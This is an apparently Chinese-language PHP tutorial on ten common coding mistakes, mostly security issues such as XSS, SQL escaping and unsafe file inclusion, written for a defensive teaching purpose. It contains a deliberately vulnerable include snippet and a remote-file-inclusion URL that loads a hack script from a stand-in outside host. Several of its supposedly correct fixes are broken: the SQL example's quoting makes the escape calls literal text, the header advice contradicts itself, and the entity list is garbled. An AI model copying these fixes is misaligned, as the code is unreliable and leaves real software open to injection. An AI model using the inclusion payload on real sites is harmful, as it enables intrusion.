1.不轉意html entities
一個基本的常識：所有不可信任的輸入（特別是用戶從form中提交的數據） ，輸出之前都要轉意。
echo $_GET['usename'] ;
這個例子有可能輸出：
<script>/*更改admin密碼的腳本或設置cookie的腳本*/</script>
這是一個明顯的安全隱患，除非你保證你的用戶都正確的輸入。
如何修復 ：
我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >', and ")，函數htmlspecialchars 和 htmlentities()正是干這個活的。
正確的方法：
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不轉意SQL輸入
我曾經在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法 。有人對我說，他們已經在php.ini中將magic_quotes設置為On，所以不必擔心這個問題，但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的！
如何修復：
和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數
正確做法：
復制代碼代碼如下:
<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3.錯誤的使用HTTP-header 相關的函數: header(), session_start(), setcookie()
遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....]
每次從服務器下載一個網頁的時候，服務器的輸出都分成兩個部分：頭部和正文。
頭部包含了一些非可視的數據，例如cookie。頭部總是先到達。正文部分包括可視的html，圖片等數據。
如果output_buffering設置為Off，所有的HTTP-header相關的函數必須在有輸出之前調用。問題在于你在一個環境中開發，而在部署到另一個環境中去的時候，output_buffering的設置可能不一樣。結果轉向停止了，cookie和session都沒有正確的設置........。
如何修復:
確保在輸出之前調用http-header相關的函數，并且令output_buffering = Off
。
4. Require 或 include 的文件使用不安全的數據
再次強調：不要相信不是你自己顯式聲明的數據。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
復制代碼代碼如下:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
現在任一個黑客現在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
來獲取你的機密信息，或執行一個PHP腳本。
如果allow_url_fopen=On，你更是死定了：
試試這個輸入：
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客可以發送垃圾郵件，改變密碼，刪除文件等等。只要你能想得到。
如何修復：
你必須自己控制哪些文件可以包含在的include或require指令中。
下面是一個快速但不全面的解決方法：
復制代碼代碼如下:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>
5. 語法錯誤
語法錯誤包括所有的詞法和語法錯誤，太常見了，以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法，仔細一點不要漏掉一個括號，大括號，分號，引號。還有就是換個好的編輯器，就不要用記事本了！
6.很少使用或不用面向對象
很多的項目都沒有使用PHP的面向對象技術，結果就是代碼的維護變得非常耗時耗力。PHP支持的面向對象技術越來越多，越來越好，我們沒有理由不使用面向對象。
7. 不使用framework
95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現在有很多MVC的框架來幫我們完成這四件事，我們為何不使用他們呢？
8. 不知道PHP中已經有的功能
PHP的核心包含很多功能。很多程序員重復的發明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual，在google上檢索一下，也許會有新的發現！PHP中的exec()是一個強大的函數，可以執行cmd shell，并把執行結果的最后一行以字符串的形式返回。考慮到安全可以使用EscapeShellCmd()
9.使用舊版本的PHP
很多程序員還在使用PHP4，在PHP4上開發不能充分發揮PHP的潛能，還存在一些安全的隱患。轉到PHP5上來吧，并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據http://www.nexen.net的調查 只有12%的PHP服務器使用PHP5，所以有88%的PHP開發者還在使用PHP4.
10.對引號做兩次轉意
見過網頁中出現\'或\'"嗎？這通常是因為在開發者的環境中magic_quotes 設置為off，而在部署的服務器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數據上重復運行addslashes() 。
原始文本：
It's a string
magic quotes on :
It\'s a string
又運行一次
addslashes():
It\\'s a string
HTML輸出:
It\'s a string
還有一種情況就是，用戶一開始輸入了錯誤的登錄信息，服務器檢測到錯誤輸入后，輸出同樣的form要求用戶再次輸入，導致用戶的輸入轉意兩次！
